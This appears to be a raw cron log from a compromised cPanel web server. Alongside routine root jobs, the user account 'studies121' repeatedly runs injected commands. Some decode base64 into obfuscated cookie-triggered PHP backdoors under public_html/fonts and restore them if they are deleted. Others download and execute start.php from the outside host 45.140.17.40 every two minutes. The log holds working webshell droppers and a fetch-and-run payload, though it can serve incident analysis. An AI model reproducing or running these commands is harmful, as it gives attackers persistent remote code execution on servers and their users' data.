Sep 12 06:54:01 ip-184-168-122-23 CROND[14610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:55:01 ip-184-168-122-23 CROND[14722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:55:01 ip-184-168-122-23 CROND[14724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:55:01 ip-184-168-122-23 CROND[14725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:55:01 ip-184-168-122-23 CROND[14727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:55:01 ip-184-168-122-23 CROND[14726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:55:01 ip-184-168-122-23 CROND[14728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:56:01 ip-184-168-122-23 CROND[14831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:56:01 ip-184-168-122-23 CROND[14833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:56:01 ip-184-168-122-23 CROND[14834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:56:01 ip-184-168-122-23 CROND[14836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:56:01 ip-184-168-122-23 CROND[14837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:57:01 ip-184-168-122-23 CROND[14935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:57:01 ip-184-168-122-23 CROND[14937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:57:01 ip-184-168-122-23 CROND[14938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:57:01 ip-184-168-122-23 CROND[14939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:58:01 ip-184-168-122-23 CROND[15143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:58:01 ip-184-168-122-23 CROND[15147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:58:01 ip-184-168-122-23 CROND[15146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:58:01 ip-184-168-122-23 CROND[15145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:58:01 ip-184-168-122-23 CROND[15148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:59:01 ip-184-168-122-23 CROND[15264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:59:02 ip-184-168-122-23 CROND[15268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:59:02 ip-184-168-122-23 CROND[15266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:59:02 ip-184-168-122-23 CROND[15267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:00:01 ip-184-168-122-23 CROND[15360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:00:01 ip-184-168-122-23 CROND[15359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:00:01 ip-184-168-122-23 CROND[15366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:00:01 ip-184-168-122-23 CROND[15367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:00:01 ip-184-168-122-23 CROND[15368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:00:01 ip-184-168-122-23 CROND[15370]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:00:01 ip-184-168-122-23 CROND[15371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:00:01 ip-184-168-122-23 CROND[15372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:01:01 ip-184-168-122-23 CROND[15466]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 07:01:01 ip-184-168-122-23 CROND[15467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:01:01 ip-184-168-122-23 CROND[15469]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 07:01:01 ip-184-168-122-23 CROND[15471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:01:01 ip-184-168-122-23 CROND[15474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:01:01 ip-184-168-122-23 CROND[15475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15466]: starting 0anacron
Sep 12 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15487]: finished 0anacron
Sep 12 07:02:01 ip-184-168-122-23 CROND[15567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:02:01 ip-184-168-122-23 CROND[15568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:02:01 ip-184-168-122-23 CROND[15570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:02:01 ip-184-168-122-23 CROND[15572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:02:01 ip-184-168-122-23 CROND[15571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:03:01 ip-184-168-122-23 CROND[15767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:03:01 ip-184-168-122-23 CROND[15770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:03:01 ip-184-168-122-23 CROND[15771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:03:01 ip-184-168-122-23 CROND[15769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:04:01 ip-184-168-122-23 CROND[15856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:04:01 ip-184-168-122-23 CROND[15859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:04:01 ip-184-168-122-23 CROND[15858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:04:01 ip-184-168-122-23 CROND[15860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:04:01 ip-184-168-122-23 CROND[15862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:05:01 ip-184-168-122-23 CROND[15947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:05:01 ip-184-168-122-23 CROND[15949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:05:01 ip-184-168-122-23 CROND[15952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:05:01 ip-184-168-122-23 CROND[15950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:05:01 ip-184-168-122-23 CROND[15953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:05:01 ip-184-168-122-23 CROND[15954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:05:01 ip-184-168-122-23 CROND[15951]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 07:06:01 ip-184-168-122-23 CROND[16061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:06:01 ip-184-168-122-23 CROND[16063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:06:01 ip-184-168-122-23 CROND[16065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:06:01 ip-184-168-122-23 CROND[16066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
